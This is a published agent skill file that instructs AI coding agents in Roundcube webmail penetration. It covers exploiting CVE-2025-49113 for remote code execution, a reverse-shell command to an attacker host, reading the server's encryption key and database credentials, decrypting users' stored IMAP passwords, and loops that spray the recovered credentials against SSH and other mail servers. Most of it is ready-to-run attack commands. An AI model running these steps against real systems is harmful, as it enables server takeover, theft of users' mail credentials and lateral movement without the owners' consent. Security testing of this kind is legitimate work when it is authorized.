# Roundcube Pentest

> Exploit Roundcube webmail vulnerabilities and recover credentials. Use this skill whenever you need to test Roundcube installations, exploit CVE-2025-49113 authenticated RCE, decrypt Roundcube session data, or recover IMAP passwords from compromised Roundcube servers. Trigger this for any Roundcube-related pentesting, webmail exploitation, or post-exploitation credential recovery tasks.

- Skill: `abelrguezr/roundcube-pentest` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/roundcube-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/roundcube-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/roundcube-pentest

---


# Roundcube Pentesting Skill

A comprehensive skill for exploiting Roundcube webmail vulnerabilities and recovering credentials during penetration testing engagements.

## When to Use This Skill

Use this skill when:
- You've identified a Roundcube webmail installation during reconnaissance
- You have valid Roundcube credentials and need to escalate to RCE
- You've gained access to a Roundcube server and need to recover IMAP passwords
- You're testing for CVE-2025-49113 (PHP object deserialization RCE)
- You need to decrypt Roundcube session data for lateral movement

## Quick Start

### 1. Identify Roundcube Installation

```bash
# Check for Roundcube fingerprints in HTML source
curl -s http://mail.target.tld | grep -i rcversion

# Look for common Roundcube paths
httpx -u http://mail.target.tld -mc 200 -f roundcube
```

### 2. Exploit CVE-2025-49113 (Authenticated RCE)

**Affected versions:**
- 1.6.x before 1.6.11
- 1.5.x before 1.5.10

**Requirements:**
- Valid Roundcube username and password
- Accessible Roundcube web UI

**Exploitation:**

```bash
# Clone the public PoC
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
cd CVE-2025-49113-exploit

# Basic command execution
php CVE-2025-49113.php http://mail.target.tld USERNAME PASSWORD "id"

# Blind RCE validation (timing-based)
time php CVE-2025-49113.php http://mail.target.tld USERNAME PASSWORD "sleep 5"

# Reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld USERNAME PASSWORD \
  "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"
```

**Notes:**
- Output is often blind; use `sleep N` to validate RCE
- Shell typically runs as `www-data`
- In containers, expect `/.dockerenv` and `172.17.0.0/16` networking

### 3. Recover IMAP Passwords from Sessions

Roundcube stores IMAP passwords encrypted with 3DES in the session database. With filesystem or DB access, you can recover plaintext passwords.

#### Step 1: Extract Configuration

```bash
# Read DB credentials and 3DES key
cat /var/www/html/roundcube/config/config.inc.php | grep -E "(db_dsnw|des_key)"

# Typical output:
# $config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
# $config['des_key'] = 'rcmail-!24ByteDESkey*Str';
```

#### Step 2: Dump Session Data

```bash
# Connect to database
mysql -u roundcube -p roundcube

# Query sessions
SELECT id, created, changed, vars FROM session\G

# Or export to file
mysql -u roundcube -pDB_PASS roundcube -e "SELECT vars FROM session" > sessions.txt
```

#### Step 3: Decrypt Passwords

**Option A: Use Roundcube's built-in decrypt script**

```bash
cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
```

**Option B: Use the provided decryption script**

```bash
# Decrypt a single session
python3 scripts/decrypt_roundcube_session.py \
  --des-key "rcmail-!24ByteDESkey*Str" \
  --ciphertext "BASE64_CIPHERTEXT"

# Batch decrypt all sessions from DB
python3 scripts/decrypt_roundcube_session.py \
  --des-key "rcmail-!24ByteDESkey*Str" \
  --db-dsn "mysql://roundcube:DB_PASS@localhost/roundcube" \
  --output decrypted_passwords.json
```

**Option C: Manual extraction (quick check)**

```bash
# Base64 decode and search for password field
echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
```

## Post-Exploitation Pivot

### Credential Reuse Testing

```bash
# Test recovered IMAP credentials against SSH
for cred in $(cat recovered_passwords.txt); do
  sshpass -p "$cred" ssh user@target && echo "SSH SUCCESS: $cred"
done

# Test against other mail services
for cred in $(cat recovered_passwords.txt); do
  nmap -p 143,993 --script imap-brute,imap-ntlm-info -oN imap_test.txt \
    --script-args userdb=users.txt,passdb=<(echo "$cred") target
done
```

### Lateral Movement

```bash
# Check for other mailboxes in the same DB
mysql -u roundcube -p roundcube -e "SELECT username, email FROM users"

# Try recovered credentials on other Roundcube instances
for user in $(mysql -u roundcube -p roundcube -e "SELECT username FROM users"); do
  for pass in $(cat recovered_passwords.txt); do
    # Test against other mail servers
    curl -s -u "$user:$pass" http://other-mail.target.tld/ | grep -i "welcome"
  done
done
```

## Common Locations

| Resource | Path |
|----------|------|
| Main config | `/var/www/html/roundcube/config/config.inc.php` |
| Session decrypt helper | `/var/www/html/roundcube/bin/decrypt.sh` |
| Database | `roundcube` (MySQL) |
| Session table | `session` |
| Users table | `users` |

## Example Workflow

```
1. Recon: Identify Roundcube on mail.target.tld
2. Enumerate: Check version via HTML source (rcversion)
3. Exploit: Use CVE-2025-49113 with valid credentials → RCE
4. Pivot: Access filesystem, read config.inc.php
5. Extract: Dump session table from MySQL
6. Decrypt: Recover IMAP passwords using des_key
7. Expand: Test credentials against SSH, other mail services
```

## Scripts Reference

### decrypt_roundcube_session.py
Decrypts Roundcube session data using 3DES-CBC.

```bash
# Single ciphertext
python3 scripts/decrypt_roundcube_session.py \
  --des-key "YOUR_24_BYTE_KEY" \
  --ciphertext "BASE64_CIPHERTEXT"

# From database
python3 scripts/decrypt_roundcube_session.py \
  --des-key "YOUR_24_BYTE_KEY" \
  --db-dsn "mysql://user:pass@host/db" \
  --output results.json

# From file
python3 scripts/decrypt_roundcube_session.py \
  --des-key "YOUR_24_BYTE_KEY" \
  --input sessions.txt \
  --output results.json
```

### recover_imap_passwords.sh
Automated password recovery from Roundcube installation.

```bash
# Auto-detect and recover
./scripts/recover_imap_passwords.sh /var/www/html/roundcube

# Specify paths
./scripts/recover_imap_passwords.sh \
  --config /path/to/config.inc.php \
  --output recovered_creds.txt
```

## Security Notes

- **CVE-2025-49113** is authenticated RCE - you need valid credentials first
- Output is often blind; use timing-based validation
- The 3DES key must be exactly 24 bytes
- Session data format: `Base64(IV(8B) || 3DES-CBC(plaintext))`
- Older session rows may contain previous users' credentials

## References

- [Roundcube Security Updates 1.6.11/1.5.10](https://roundcube.net/news/2025/06/01/security-updates-1.6.11-and-1.5.10)
- [CVE-2025-49113 NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-49113)
- [hakaioffsec/CVE-2025-49113-exploit](https://github.com/hakaioffsec/CVE-2025-49113-exploit)
- [Roundcube decrypt.sh](https://raw.githubusercontent.com/roundcube/roundcubemail/master/bin/decrypt.sh)